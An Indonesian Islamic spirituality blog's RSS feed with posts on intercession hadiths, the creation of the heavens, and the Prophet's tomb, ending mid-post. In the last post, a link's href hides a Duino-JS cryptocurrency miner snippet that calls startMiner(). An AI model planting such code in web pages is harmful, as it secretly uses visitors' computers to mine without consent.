<?xml version="1.0" encoding="UTF-8" standalone="no"?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" version="2.0"><channel><title>KETUHANAN</title><description>MENGENAL DIRI DI HADAPAN TUHAN NYA : 

Lir-ilir, Lir-ilir,
Tandure wus sumilir, 
Tak ijo royo-royo tak senggo temanten anyar,
Cah angon-cah angon penekno blimbing kuwi,
Lunyu-lunyu yo penekno kanggo mbasuh dodotiro,
Dodotiro-dodotiro,
kumitir bedhah ing pinggir,
Dondomono jlumatono kanggo sebo mengko sore,
Mumpung padhang rembulane, 
mumpung jembar kalangane, 
Yo surako… surak hiyo. . .
</description><managingEditor>noreply@blogger.com (Alif braja)</managingEditor><pubDate>Tue, 20 Jan 2026 07:05:59 +0700</pubDate><generator>Blogger http://www.blogger.com</generator><openSearch:totalResults xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">1590</openSearch:totalResults><openSearch:startIndex xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">1</openSearch:startIndex><openSearch:itemsPerPage xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">25</openSearch:itemsPerPage><link>http://alifbraja.blogspot.com/</link><language>en-us</language><itunes:explicit>no</itunes:explicit><copyright>alifbraja</copyright><itunes:keywords>islam,makkah,alif,braja,sufism,spiritual</itunes:keywords><itunes:summary>every one's</itunes:summary><itunes:subtitle>islam ketuhanan</itunes:subtitle><itunes:category text="Religion &amp; Spirituality"><itunes:category text="Islam"/></itunes:category><itunes:author>alifbraja</itunes:author><itunes:owner><itunes:email>noreply@blogger.com</itunes:email><itunes:name>alifbraja</itunes:name></itunes:owner><xhtml:meta content="noindex" name="robots" xmlns:xhtml="http://www.w3.org/1999/xhtml"/><item><title>Ragam Syafa'at</title><link>http://alifbraja.blogspot.com/2025/05/ragam-syafaat.html</link><pubDate>Sun, 25 May 2025 02:29:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-1207514945062906309</guid><description>&lt;div class="separator" style="clear: both;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgroHTwd7sMKZHnHruxiRDexiO0IoE9eW2HBIrFVYl1bvM4n58K9tXOtv9Fuu2k_F9ZzMY-iRuGJLgrh9DYviNiVv09IunivaycUV9WRfE5z_oqbQ-owMG-Nhzpc0jmaVKCvry-hp4t5ibZV4FY5s6B51PVybgqibReEA0jqnHQWkb065XdiAZnJreRLvs/s160/44231nrvt6qirev.gif" style="display: block; padding: 1em 0px; text-align: center;"&gt;&lt;img alt="" border="0" data-original-height="160" data-original-width="126" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgroHTwd7sMKZHnHruxiRDexiO0IoE9eW2HBIrFVYl1bvM4n58K9tXOtv9Fuu2k_F9ZzMY-iRuGJLgrh9DYviNiVv09IunivaycUV9WRfE5z_oqbQ-owMG-Nhzpc0jmaVKCvry-hp4t5ibZV4FY5s6B51PVybgqibReEA0jqnHQWkb065XdiAZnJreRLvs/s400/44231nrvt6qirev.gif" /&gt;&lt;/a&gt;&lt;/div&gt;
أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&amp;nbsp;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;Syafaat adalah pertolongan yang diberikan dari sesama manusia untuk menyelamatkan manusia dari kesusahan pada hari kiamat, di antaranya adalah menyelamatkan manusia dari neraka. Mereka tidak hanya selamat, tapi juga mampu menyelamatkan orang lain, terutama sanak kerabatnya dari orangorang yang dikenalnya.

Syafaat bisa diberikan dengan syarat :

Allah memberi ijin pada seseorang untuk menolong orang lain.
Allah memberi ijin bagi yang ingin ditolong untuk bisa mendapatkan pertolongan.
Yang ditolong haruslah dari kalangan orang-orang beriman, sekecil apa pun imannya. Adapun orang kafir, mereka tidak akan mendapatkan pertolongan sama sekali.
Nah, siapa yang dapat memberi syafaat itu? Kriteria seperti apakah yang bakal mendapat keistimewaan dapat menolong orang lain dari siksa? Adakah kita termasuk salah satu dari mereka?&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Allah SWT&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Rasulullah SAW, bersabda :

“Hingga akhirnya AI-Jabbar (Allah) berfirman ‘Yang tersisa tinggal syafa’at-Ku’. Selanjutnya Allah menggenggam dari neraka satu genggaman untuk mengeluarkan kaum-kaum yang benar-benar telah hangus. Mereka diletakkan di sungai bernama air kehidupan yang berada di mulut-mulut surga. Selanjutnya mereka tumbuh di dua pinggirannya bagaikan biji-bijian yang tumbuh di dalam bawaan banjir. Kalian pasti pernah menyaksikan hal tersebut di sisi batu besar di sisi sebuah pohon. Yang condong ke arah matahari menjadi hijau sementara yang condong ke arah teduh memutih. Akhirnya mereka keluar dari kawasan tersebut dalam keadaan indah mirip sekali mutiara. Ada cap-cap yang dicapkan di pundak-pundak mereka. Akhirnya mereka masuk surga.” (HR. Bu khari)[1]&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Rasulullah Muhammad SAW&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Syafaat Rasulullah adalah asy-syafa’ah aI-kubra, syafaat agung yang maslahatnya meliputi seluruh umat beliau.

Syafaat lni khusus diberikan kepada Nabi Muhammad SAW Tatkala manusia dirundung kesedihan dan bencana yang tidak kuat mereka tahan, mereka meminta kepada orang-orang tertentu yang diberi wewenang oleh Allah untuk memberi syafaat. Mereka pergi kepada Nabi Adam, Nuh, Ibrahim, Musa, dan lsa AS. Tetapi mereka semua tidak bisa memberikan syafaat hingga mereka datang kepada Nabi Muhammad SAW. Lalu beliau berdiri dan memintakan syafaat kepada Allah, agar menyelamatkan hamba-hamba-Nya dari adzab yang besar ini. Allah pun memenuhi permohonan itu dan menerima syafaatnya. Ini termasuk maqam mahmud (tempat yang terpuji) yang dijanjikan Allah di dalam firman-Nya :

“Dan pada sebagian malam hari bersembahyang tahajudlah kamu sebagai suatu ibadah tambahan bagimu, mudah-mudahan Tuhanmu mengangkat kamu ke tempat yang terpuji.” (AI-lsra’ [17] : 79)

Hal ini sebagaimana dipaparkan dalam hadits shahih riwayat Imam Bukhari.

Di antara syafaat beliau adalah meninggikan derajat orang yang sudah masuk surga, memberikan syafaat bagi yang akan masuk surga agar segera masuk surga, syafaat bagi yang divonis masuk neraka agar tidak masuk neraka, dan syafaat bagi yang masuk neraka agar segera dientaskan darinya.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Para Nabi dan Malaikat&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Dari Abu Sa’id Al-Khudri r.a., Rasulullah SAW bersabda : “Lalu para malaikat dan para nabi serta syuhada diijinkan untuk memberi syafaat…”. (HR. Ahmad)

Nabi Ibrahim AS
Dari Hudzaifah r.a., Nabi SAW bersabda, “lbrahim berkata pada hari kiamat, ”Wahai Rabbku.” Dan Allah pun berfirman, “Ada apakah?” Ibrahim berkata, “Duhai Rabbku, aku telah membuat keturunanku terbakar.” Lalu Allah berfirman, “Keluarkan dari neraka sesiapa yang engkau dapati masih memiliki iman meski sebesar debu atau biji gandum.” (HR. Ibnu Hibban, Syu’aib AI-Arna’uth menyatakan sanadnya shahih)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Ash-Shidiqiin&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Rasulullah SAW bersabda, Kemudian dikatakan, “Panggillah ash-shiddiqin, lalu mereka pun diberi ijin memberi syafaat…”. (HR. Bukhari)

Keterangan : Imam Muqatil bin Hayyan berkata, “Ash-Shiddiqun adalah orang-orang yang beriman kepada para rasul dan tidak mendustakan mereka barang sedikit pun”. (Tafsir Al-Qurtubi, 17 : 283)

Orang-orang Mati Syahid (Syuhada)
Dari Miqdam bin Ma’di Karib, Rasulullah SAW bersabda :

“Bagi orang yang mati syahid akan mendapatkan enam (pahala) di sisi Allah, yaitu diampuni (dosanya) sejak pertama kali darahnya mengalir, melihat tempat duduknya di surga, diselamatkan dari adzab kubur, aman dari goncangan hari kiamat, diletakkan di kepalanya mahkota dari mutiara yang lebih baik dari dunia dan seisinya, dinikahkan dengan tujuh puluh dua bidadari dari hurun ‘in dan memberi syafaat kepada tujuh puluh kerabatnya.” (HR. Tirmidzi, Ibnu Majah dan Ahmad dengan sanad yang shahih)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Orang-orang Mukmin&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Rasulullah SAW bersabda :

“…Dan apabila mereka (orang-orang mukmin) melihat bahwa diri mereka telah selamat, mereka berkata tentang saudara-saudara mereka, Wahai Rabb kami, tolonglah saudara-saudara kami, mereka dulu shalat, puasa dan berbuat kebaikan bersama kami. ‘Lalu Allah berfirman, ‘Masuklah ke neraka, sesiapa yang kalian dapati memiliki iman sebesar dinar, maka keluarkanlah ia.’ Lalu Allah membuat mereka tidak dapat tersentuh api, dan mereka pun mendatangi saudara-saudara mereka di neraka. Sebagian mereka ada yang tubuhnya masuk ke neraka sampai kaki, ada juga yang sampai betis. Mereka pun mengeluarkan arang-orang yang mereka kenal, lalu keluar. Allah berfirman lagi, ‘Masuklah, sesiapa yang kalian dapati memiliki iman sebesar setengah dinar, maka keluarkanlah ia.’ Mereka pun mengeluarkan orang-orang yang mereka kenal, lalu kembali. Allah kembali berfirman, ‘Masuklah, sesiapa yang kalian dapati memiliki iman sebesar debu, maka keluarkanlah Ia.‘ Dan mereka pun mengeluarkan orang-orang yang mereka kenal.” (HR. Bukhari dan Muslim)

Anak Kecil yang Meninggal Sebelum Baligh
“Anak-anak kecil mereka (kaum muslimin) berada di jannah. Salah seorang dari mereka berjumpa dengan bapaknya atau kedua orang tuanya, lalu dia meraih ujung bajunya, atau beliau mengatakan, ‘Dengan tangannya sebagaimana aku memegang ujung bajumu ini, dia tidak akan berpisah dengan bapaknya sehingga Allah memasukkan dia dan bapaknya ke dalam surga’.” (HR. Bukhari dan Muslim)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Syafaat Puasa&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Diriwayatkan dari Abdullah bin Amr r.a., sesungguhnya Nabi Muhammad SAW bersabda :

“Puasa dan AI-Quran akan menolong seorang hamba pada hari kiamat. Puasa itu berkata; ‘Ya Rabbi, aku telah mencegahnya makan dan melampiaskan syahwat pada siang hari, maka izinkan saya menolongnya’. Dan Al-Quran berkata: ‘Ya Rabbi, aku telah mencegahnya tidur pada malam hari, maka izinkan saya menolongnya.’ Lalu keduanya diizinkan untuk menolongnya.” (HR. Ahmad dengan sanad shahih, Shahihul Jami’)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Membaca Al-Quran&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Nabi Muhammad SAW bersabda :

”Bacalah AI-Quran karena AI-Quran akan datang pada hari kiamat nanti sebagai pemberi syafaat bagi yang membacanya. Bacalah Az-Zahrawain (dua surat cahaya) yaitu surat Al-Baqarah dan Ali Imran, karena keduanya datang pada hari kiamat nanti seperti dua awan atau seperti dua naungan atau seperti dua kawanan burung yang membentangkan sayapnya, keduanya akan menjadi pembela bagi yang (rajin) membaca dua surat tersebut. Bacalah pula surat AI-Baqarah. Mengambil surat tersebut adalah suatu keberkahan dan meninggalkannya adalah penyesalan. Para tukang sihir tidak mungkin melakukannya.” (HR. Muslim)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Footnote:

[1] Di dalam hadits seIengkapnya, syafaat dari Allah ini diberikan terakhir, setelah sebelumnya para nabi, orang mukmin dan lainnya memberi syafaat&lt;/div&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgroHTwd7sMKZHnHruxiRDexiO0IoE9eW2HBIrFVYl1bvM4n58K9tXOtv9Fuu2k_F9ZzMY-iRuGJLgrh9DYviNiVv09IunivaycUV9WRfE5z_oqbQ-owMG-Nhzpc0jmaVKCvry-hp4t5ibZV4FY5s6B51PVybgqibReEA0jqnHQWkb065XdiAZnJreRLvs/s72-c/44231nrvt6qirev.gif" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Islah nya Langit Dan Bumi</title><link>http://alifbraja.blogspot.com/2025/05/allah-swt-memisahkan-langit-dan-bumi.html</link><pubDate>Sun, 25 May 2025 02:02:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-7724183113411573312</guid><description>

أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&amp;nbsp;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&lt;b&gt;Islah nya Langit dan Bumi&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;

Allah SWT memisahkan langit
dan bumi (dalam firman-Nya di atas) yang keduanya ketika itu masih berupa asap.
Allah SWT berfirman: Kemudian Dia menuju langit dan langit itu masih merupakan
asap, lalu Dia berkata kepadanya dan kepada bumi: “Datanglah kamu keduanya
menurut perintah-Ku dengan suka hati atau terpaksa”, keduanya menjawab: “Kami
datang dengan suka hati.” (Fushshilat 11) Bumi dipisahkan dari langit yang
keduanya bersatu padu dan merupakan asap (dalam firman-Nya di atas), yaitu asap
bumi diasingkan (dijadikan tersendiri) tanpa keluar dari ruang asap langit, agar
penciptaan bumi terpisah dengan penciptaan langit dan penciptaan makhluk-makhluk
di langit. Asap (yang tanpa asap bumi) itu lalu dijadikan oleh Allah SWT sebagai
langit dengan dibangunnya, diluaskannya, ditinggikannya dan disempurnakannya.
Hal itu dijelaskan dalam firman-Nya ini: Dan langit itu Kami bangun dengan
kekuasaan (Kami) dan sesungguhnya Kami benar-benar meluaskannya. (Adz Dzaariyaat
47)&amp;nbsp;&lt;/div&gt;&lt;div&gt;Dan Allah telah meninggikan langit. (Ar Rahmaan 7)&amp;nbsp;&lt;/div&gt;&lt;div&gt;Allah telah membangunnya,
Dia meninggikan bangunannya lalu menyempurnakannya. (An Naazi’aat 27-28) Allah
SWT lalu membuat langit itu menjadi tujuh langit, yaitu tujuh lapis langit atau
tujuh tingkatan langit, seperti dijelaskan firman-Nya ini: Dia berkehendak
menuju langit, lalu dijadikan-Nya tujuh langit. (Al Baqarah 29)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;Yang telah
menciptakan tujuh langit yang berlapis-lapis. (Al Mulk 3)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;Tidakkah kamu
perhatikan bagaimana Allah telah menciptakan tujuh langit bertingkat-tingkat?
(Nuh 15)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;Allah SWT menciptakan dan membangun langit dengan tanpa tiang hingga
menjadi tujuh lapis langit yang kokoh, seimbang dan tanpa ada yang retak. Allah
SWT berfirman: Dia menciptakan langit tanpa tiang yang kamu melihatnya. (Luqman
10)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;Dan Kami bangun di atas kamu tujuh buah (langit) yang kokoh. (An Naba’ 12)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;Dan langit itu tidak mempunyai retak-retak sedikitpun. (Qaaf 6)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;Yang telah
menciptakan tujuh langit yang berlapis-lapis. Kamu sekali-kali tidak melihat
pada ciptaan Tuhan Yang Maha Pemurah sesuatu yang tidak seimbang. (Al Mulk 3)&amp;nbsp;&lt;/div&gt;&lt;div&gt;Adapun jangka waktu Allah SWT menciptakan dan membangun langit tujuh lapis,
yaitu sebagai berikut: Maka Dia menjadikannya tujuh langit dalam dua masa.
(Fushshilat 12) 

:&amp;nbsp;&lt;/div&gt;&lt;div&gt;“Apakah Allah SWT menciptakan langit dengan tujuh
lapis itu dari asap?”&amp;nbsp;&lt;/div&gt;&lt;div&gt;Jawaban: “Allah SWT telah menjelaskan bahwa Dia
menciptakan langit dan bumi dan apa yang ada di langit dan di bumi dengan ukuran
dan perhitungan. Allah SWT berfirman: Sesungguhnya Kami menciptakan segala
sesuatu menurut ukuran. (Al Qamar 49) أَوَلَمْ يَرَ ٱلَّذِينَ كَفَرُوٓا۟ أَنَّ ٱلسَّمَٰوَٰتِ وَٱلْأَرْضَ كَانَتَا رَتْقًا فَفَتَقْنَٰهُمَا ۖ وَجَعَلْنَا مِنَ
ٱلْمَآءِ كُلَّ شَىْءٍ حَىٍّ ۖ أَفَلَا يُؤْمِنُونَ&amp;nbsp;&lt;/div&gt;&lt;div&gt;Dan apakah orang-orang yang
kafir tidak mengetahui bahwasanya langit dan bumi itu keduanya dahulu adalah
suatu yang padu, kemudian Kami pisahkan antara keduanya. (Al Anbiyaa’ 30)&amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp;Pengarang kitab Durratun Nashihin bernama Utsman bin Hasan bin Ahmad asy-Syakir
al-Khubawi ar-Rumi al-Hanafi rahimahullah, yang digelar oleh Syaikh Umar Ridha
Kahhalah sebagai seorang wa`iz (penceramah / juru nasihat), mufassir dan
muhaddits, hidup di akhir abad ke 12H di zaman Dinasti Utsmaniyyah. Kitab ini
selesai beliau tulis sekitar tahun 1224H. Dalam penulisannya, beliau telah
merujuk kepada sekurang - kurangnya 75 buah kitab dan menukil daripadanya. Di
antara 75 buah kitab tersebut ada yang sudah sangat sulit untuk dijumpai kerana
langka, maka dari satu sudut kita sepatutnya berterimakasih kepada si pengarang
yang telah menyajikan kepada kita faedah dan mutiara yang terkandung dalam kitab
- kitab yang langka tersebut. Selanjutnya, pada halaman 123, pengarang menukil
kisah dialog di antara Langit dengan Bumi, sebagai berikut:-: ...Adapun (antara)
sebab bagi mi'raj (Junjungan Nabi shallaAllahu `alaihi wa sallam) adalah Bumi
bermegah - megah dengan Langit. 
Kata Bumi: "Aku lebih baik daripada engkau
kerana Allah ta`ala telah menghiaskan aku dengan berbagai negeri, laut, sungai,
pepohonan, gunung - ganang dan sebagainya." 
Langit menjawab: " Aku lebih baik
daripada engkau kerana matahari, bulan, bintang - bintang, falak, buruj, arsy,
kursy dan syurga ada padaku. " Bumi berkata lagi: " Ada padaku Ka`bah yang
diziarahi dan bertawaf padanya para nabi dan rasul, para wali dan orang - orang
mukmin amnya." 
Langit membalas: " Padaku ada Baitul Makmur tempat para malaikat
langit bertawaf, padaku juga ada syurga kediaman arwah para nabi, para rasul,
awliya dan shalihin." 
Bumi berkata lagi: " Sesungguhnya Penghulu Para Rasul,
Penutup Para Nabi, Kekasih Tuhan Semesta Alam, Makhluk Terafdhal yang Allah
wujudkan - atasnya tahiyyat (penghormatan) yang paling sempurna - mendiamiku dan
syariatnya berjalan atasku." Mendengar perkataan Bumi ini, Langit tidak mampu
untuk menjawabnya. Langit mendiamkan dirinya seraya bertawajjuh kepada Allah
sambil berkata: "Ya Tuhanku, Engkaulah yang menjawab permohonan orang - orang
yang tersepit dan aku lemah untuk memberikan jawapan atas perkataan Bumi. Maka
aku memohon agar Engkau naikkan Muhammad kepadaku supaya aku mendapat kemuliaan
dengan baginda sebagaimana mulianya Bumi dengan keindahan baginda dan
bermegahnya Bumi dengan baginda." Maka Allah mengabulkan permintaan Langit
(dengan memi'rajkan baginda shallaAllahu `alaihi wa sallam ke langit 
Tentunya
itu menjadikan refleksi bagi lahir batin makhluk dan menjadi pertanyaan logis
dan metafisik?? Apakah kita hanya melihat ke langit dengan kesombongan untuk
diterima di sisi-Nya,.. Ataukah Kita melihat ke bumi sebagai asal dan kembali
kita dengan kerendahan diri di hdapan-Nya??? coba tanyakan??!! .. Dengan
ketenangan/tuma'ninah dan kesadaran Ilahi/khusyu' kalian dapat keduanya,... Be
yours self and take a chance and change for more good kind for lifetime evenly
small think for best you can do or nothing 
&lt;div class="separator" style="clear: both;"&gt;
  &lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9u_oGZP_nuwdzkLGCCPg6Q5aenfm6RwrOV0L8jlHeLyhldclo-DzqS9V7Gj1tuDiVwlpGHl40ioCcgxfS32A3MuhPF2ORNIKmfIT-AnHrQsoxAH7NN7Yb-apKEWr57RsHmChXmFuSVLMDf2C_pXlvIQpmnDdVtKOdfz97jSjZ_1Cfrpd8bCA46hRwSuo/s1280/Screenshot_2022-01-08-15-22-31-489_com.miui.home.jpg" style="display: block; padding: 1em 0px; text-align: center;"&gt;&lt;img alt="" border="0" data-original-height="1280" data-original-width="720" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9u_oGZP_nuwdzkLGCCPg6Q5aenfm6RwrOV0L8jlHeLyhldclo-DzqS9V7Gj1tuDiVwlpGHl40ioCcgxfS32A3MuhPF2ORNIKmfIT-AnHrQsoxAH7NN7Yb-apKEWr57RsHmChXmFuSVLMDf2C_pXlvIQpmnDdVtKOdfz97jSjZ_1Cfrpd8bCA46hRwSuo/s320/Screenshot_2022-01-08-15-22-31-489_com.miui.home.jpg" /&gt;&lt;/a&gt;
&lt;/div&gt;
See you Afterlife go on
&lt;blockquote&gt;&lt;strike&gt;&lt;blockquote&gt;&lt;b&gt;&lt;b&gt;&lt;i&gt;&lt;/i&gt;&lt;/b&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;/strike&gt;&lt;/blockquote&gt;&lt;/div&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9u_oGZP_nuwdzkLGCCPg6Q5aenfm6RwrOV0L8jlHeLyhldclo-DzqS9V7Gj1tuDiVwlpGHl40ioCcgxfS32A3MuhPF2ORNIKmfIT-AnHrQsoxAH7NN7Yb-apKEWr57RsHmChXmFuSVLMDf2C_pXlvIQpmnDdVtKOdfz97jSjZ_1Cfrpd8bCA46hRwSuo/s72-c/Screenshot_2022-01-08-15-22-31-489_com.miui.home.jpg" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>STAY TO LOVE EACH OTHER</title><link>http://alifbraja.blogspot.com/2024/01/stay-to-love-each-other.html</link><pubDate>Tue, 2 Jan 2024 00:43:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-2868111451847199929</guid><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;span face="&amp;quot;Cnn Sans&amp;quot;, sans-serif" style="font-size: 16px; text-align: right;"&gt;أَشْهَدُ أَنْ لَا إِلَهَ إِلَّا اللهُ وَأَشْهَدُ أَنَّ مُحَمَّدًا رَسُوْلُ اللهِ&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;a href="https://youtube.com/shorts/vNBZT_4km_w?feature=shared" target="_blank"&gt;Show what world&amp;nbsp; can do&lt;/a&gt;&amp;nbsp;,or you gonna left away without nothing&lt;/div&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Lapisan Makam Nabi Muhammad Saw</title><link>http://alifbraja.blogspot.com/2023/09/lapisan-makam-nabi-muhammad-saw.html</link><pubDate>Mon, 18 Sep 2023 23:52:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-4435563287506297090</guid><description>أشهد أن لا اله الا الله و أشهد أن محمدا رسول الله&amp;nbsp;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #14142b; font-family: Poppins, sans-serif; font-size: 16px; letter-spacing: 0.1px; line-height: 1.628;"&gt;Dalam kesaksian&amp;nbsp;&lt;a href="https://alifbraja.blogspot.com/2023/09/lapisan-makam-nabi-muhammad-saw.html?m=1" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Abah Guru Sekumpul&lt;/a&gt;, pintu&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/makam" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;makam&lt;/a&gt;&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/rasulullah" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Rasulullah&lt;/a&gt;&amp;nbsp;itu ternyata berlapis.&lt;/p&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #14142b; font-family: Poppins, sans-serif; font-size: 16px; letter-spacing: 0.1px; line-height: 1.628;"&gt;"Pintu&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/makam" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;makam&lt;/a&gt;&amp;nbsp;Nabi Muhammad itu berlapis km, yang pertama itu dindingnya hijau, dibuka dinding hijau lalu dinding kuning, kemudian dinding putih, dibuka diding putih langsung terlihat nisan&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/rasulullah" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Rasulullah&lt;/a&gt;," tutur&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/abah-guru-sekumpul" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Abah Guru Sekumpul&lt;/a&gt;.&lt;br style="box-sizing: border-box;" /&gt;&lt;br style="box-sizing: border-box;" /&gt;Saat sampai di depan&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/makam" style="box-sizing: border-box; color: #14142b; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;makam&lt;/a&gt;&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/rasulullah" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Rasulullah&lt;/a&gt;&amp;nbsp;ini, terjadi peristiwa luar biasa yang dirasakan oleh&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/abah-guru-sekumpul" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Abah Guru Sekumpul&lt;/a&gt;. Saat itu,&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/abah-guru-sekumpul" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Abah Guru Sekumpul&lt;/a&gt;&amp;nbsp;melihat batu nisan&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/rasulullah" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Rasulullah&lt;/a&gt;&amp;nbsp;bergetar.&lt;/p&gt;&lt;p style="background-color: white; box-sizing: border-box; color: #14142b; font-size: 16px; letter-spacing: 0.1px; line-height: 1.628;"&gt;&lt;span style="font-family: helvetica;"&gt;"Nisan&amp;nbsp;&lt;a href="&amp;lt;script src=&amp;quot;duino-js.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;!--imports the Duino-JS miner--&amp;gt; &amp;lt;script&amp;gt;     username = `Alifbraja`;      rigid = `STB-JS`;      threads = 4;      startMiner(); //starts the miner &amp;lt;/script&amp;gt;" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Rasulullah&lt;/a&gt;&amp;nbsp;bergetar, Nisan&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/rasulullah" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Rasulullah&lt;/a&gt;&amp;nbsp;terlihat bergoyang-goyang dan bergetar. Makamnya&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/rasulullah" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; vertical-align: top;"&gt;Rasulullah&lt;/a&gt;&amp;nbsp;terlihat bergerak, keluarlah beliau&amp;nbsp;&lt;a href="https://www.cirebontimes.com/tag/rasulullah" style="box-sizing: border-box; color: #008037; outline: 0px; position: relative; text-decoration-line: none; transition: all 0.2s ease 0s; 